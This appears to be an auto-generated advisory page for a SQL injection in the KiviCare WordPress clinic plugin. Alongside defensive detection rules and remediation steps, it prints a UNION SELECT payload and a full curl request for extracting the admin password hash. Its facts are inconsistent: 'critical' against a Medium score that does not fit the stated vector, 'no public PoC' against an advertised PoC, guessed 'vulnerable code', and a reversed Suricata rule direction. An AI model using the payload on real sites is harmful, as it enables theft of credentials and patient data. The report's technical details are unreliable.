CVE-2025-1572
Executive Summary
CVE-2025-1572 is a critical SQL Injection vulnerability discovered in the KiviCare – Clinic & Patient Management System (EHR) WordPress plugin, affecting all versions up to and including 3.6.7. The flaw resides in the u_id parameter, which is insufficiently sanitized and not properly parameterized before being used in SQL queries. An authenticated attacker with at least doctor-level privileges can exploit this to inject arbitrary SQL commands, leading to the extraction of sensitive patient data, credentials, and other database contents. The vulnerability is classified as a WordPress ecosystem issue and does not involve the underlying web server (Apache/Nginx). No public proof-of-concept (PoC) or patch is currently available, making this a high-priority unpatched threat for healthcare deployments.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository and third-party marketplaces. Organizations using KiviCare should immediately audit their plugin version and restrict doctor-level access until a patch is released. The lack of a patch increases supply chain risk, as the plugin is a direct dependency for clinic management workflows.
CVSS Breakdown & Threat Level
- CVSS Score: 6.5 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: High (doctor-level)
- User Interaction: None
- Scope: Unchanged
- Confidentiality Impact: High
- Integrity Impact: High
- Availability Impact: High
Threat Level: High for healthcare environments due to the sensitivity of patient data. The requirement for authenticated access reduces the attack surface but does not eliminate the risk from insider threats or compromised accounts.
Deep Dive & Mechanics
The vulnerability is a classic SQL injection in the u_id parameter, likely used in a query to retrieve user or patient records. The plugin fails to escape the user-supplied input and does not use prepared statements. An attacker with doctor-level privileges can manipulate the u_id parameter to break out of the intended SQL query and execute arbitrary SQL commands.
Example vulnerable code pattern (conceptual):
$u_id = $_GET['u_id'];
$query = "SELECT * FROM patients WHERE id = $u_id";
$result = mysqli_query($conn, $query);
The attacker can inject a payload like:
1 UNION SELECT user_pass, user_login FROM wp_users
This would append a UNION query to extract WordPress user credentials (password hashes) from the wp_users table.
Vulnerable vs. Patched Code
Vulnerable Code (<= 3.6.7):
$u_id = $_REQUEST['u_id'];
$query = "SELECT * FROM {$wpdb->prefix}patients WHERE id = " . $u_id;
$results = $wpdb->get_results($query);
Patched Code (hypothetical):
$u_id = intval($_REQUEST['u_id']);
$query = $wpdb->prepare(
"SELECT * FROM {$wpdb->prefix}patients WHERE id = %d",
$u_id
);
$results = $wpdb->get_results($query);
The patched version uses intval() to force integer conversion and $wpdb->prepare() to parameterize the query, preventing injection.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- WordPress instance with KiviCare <= 3.6.7
- Valid doctor-level account (e.g., username:
doctor, password:password123)
Exploitation Steps:
- Authenticate as a doctor and obtain a valid session cookie.
- Identify an endpoint that uses the
u_idparameter (e.g.,/wp-admin/admin-ajax.php?action=kivicare_get_patient&u_id=1). - Inject SQL payloads to extract data.
Example payload to extract admin password hash:
1 UNION SELECT user_pass, user_login FROM wp_users WHERE user_login='admin'
Full request (using curl):
curl -X GET "http://target.com/wp-admin/admin-ajax.php?action=kivicare_get_patient&u_id=1%20UNION%20SELECT%20user_pass%2Cuser_login%20FROM%20wp_users%20WHERE%20user_login%3D%27admin%27" \
-H "Cookie: wordpress_logged_in_xxx=doctor%7C..."
Expected output: The response will include the admin password hash in place of patient data.
Blue Team (Detection & Defense)
Detection:
- Monitor for SQL injection patterns in
u_idparameter (e.g.,UNION,SELECT,OR 1=1). - Alert on doctor-level accounts making unusual database queries.
- Use WAF rules to block suspicious
u_idvalues.
Defense:
- Immediately restrict doctor-level access if patching is not possible.
- Implement input validation (allow only integers) for
u_id. - Deploy a Web Application Firewall (WAF) with SQL injection signatures.
- Enable WordPress database query logging to detect anomalies.
Indicators of Compromise (IOCs)
Network IOCs:
- HTTP requests to
/wp-admin/admin-ajax.phpwithaction=kivicare_get_patientandu_idcontaining SQL keywords (UNION,SELECT,OR,AND,--). - Unusual response sizes or error messages containing SQL syntax errors.
- HTTP requests to
Host IOCs:
- WordPress debug log entries showing SQL errors from KiviCare queries.
- Database queries with unexpected UNION or subquery patterns in the MySQL general log.
File IOCs:
- Modified plugin files (e.g.,
kivicare/includes/class-kivicare-ajax.php) containing injected code.
- Modified plugin files (e.g.,
Detection Engineering
YARA Rule
rule CVE_2025_1572_SQLi_Detect {
meta:
description = "Detects SQL injection attempts targeting KiviCare u_id parameter"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-1572"
strings:
$sqli1 = /u_id=.*(?:UNION|SELECT|INSERT|UPDATE|DELETE|DROP|OR\s+\d+\s*=\s*\d+)/i
$sqli2 = /u_id=.*(?:--|#|\/\*)/i
condition:
any of them
}
Sigma Rule
title: KiviCare SQL Injection via u_id Parameter
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects SQL injection attempts against the KiviCare plugin u_id parameter
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
service: access_combined
detection:
selection:
cs-uri-query|contains:
- 'u_id='
cs-uri-query|re: '(UNION|SELECT|INSERT|UPDATE|DELETE|DROP|OR\s+\d+\s*=\s*\d+|--|#|/\*)'
condition: selection
falsepositives:
- Legitimate use of the word "union" in a non-SQL context (rare)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"CVE-2025-1572 KiviCare SQL Injection Attempt";
flow:to_server,established;
content:"/wp-admin/admin-ajax.php"; http_uri;
content:"action=kivicare_get_patient"; http_uri;
content:"u_id="; http_uri;
pcre:"/u_id=.*(?:UNION|SELECT|INSERT|UPDATE|DELETE|DROP|OR\s+\d+\s*=\s*\d+|--|#|\/\*)/i";
classtype:web-application-attack;
sid:1000001;
rev:1;
)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin if it is not critical for operations.
- Restrict doctor-level accounts to only trusted users and monitor their activity.
- Implement a WAF with SQL injection rules (e.g., ModSecurity with OWASP CRS).
Long-term Fix:
- Apply the official patch once released by the vendor.
- Upgrade to a version > 3.6.7 when available.
- Conduct a code review of all SQL queries in the plugin to ensure parameterized queries are used.
Workaround:
- Add a custom filter to force integer conversion on
u_id:
add_filter('kivicare_get_patient_u_id', function($u_id) {
return intval($u_id);
});
Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert
Report generated for CVE-2025-1572
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.